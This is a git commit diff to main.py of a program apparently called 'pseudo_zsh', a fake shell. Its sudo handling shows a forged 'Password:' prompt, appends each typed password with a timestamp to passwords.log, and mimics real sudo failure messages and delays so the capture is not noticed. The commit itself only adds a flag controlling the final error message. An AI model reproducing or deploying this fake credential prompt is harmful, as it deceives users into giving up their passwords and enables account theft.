在 main.py 中修改 sudo 密码输入逻辑,增加成功尝试时的错误提示控制,并记录当前时间到密码日志文件
This commit is contained in:
6
main.py
6
main.py
@@ -76,11 +76,14 @@ def pseudo_zsh():
|
|||||||
continue
|
continue
|
||||||
|
|
||||||
# 伪造 sudo 密码输入并记录
|
# 伪造 sudo 密码输入并记录
|
||||||
|
|
||||||
if args[0] == 'sudo':
|
if args[0] == 'sudo':
|
||||||
|
flight = True
|
||||||
for attempt in range(3): # 循环 3 次
|
for attempt in range(3): # 循环 3 次
|
||||||
fake_password = getpass.getpass("Password: ")
|
fake_password = getpass.getpass("Password: ")
|
||||||
if fake_password == "1234":
|
if fake_password == "1234":
|
||||||
print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.")
|
print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.")
|
||||||
|
flight = False
|
||||||
break
|
break
|
||||||
with open("passwords.log", "a") as f:
|
with open("passwords.log", "a") as f:
|
||||||
current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间
|
current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间
|
||||||
@@ -88,7 +91,8 @@ def pseudo_zsh():
|
|||||||
delay = random.uniform(0.5, 2.0) # 随机延时 0.5 到 2 秒
|
delay = random.uniform(0.5, 2.0) # 随机延时 0.5 到 2 秒
|
||||||
time.sleep(delay) # 模拟延迟
|
time.sleep(delay) # 模拟延迟
|
||||||
print("Sorry, try again.")
|
print("Sorry, try again.")
|
||||||
print("sudo: 3 incorrect password attempts") # 提示错误次数
|
if flight:
|
||||||
|
print("sudo: 3 incorrect password attempts") # 提示错误次数
|
||||||
continue
|
continue
|
||||||
|
|
||||||
# 执行普通命令
|
# 执行普通命令
|
||||||
|
|||||||
Reference in New Issue
Block a user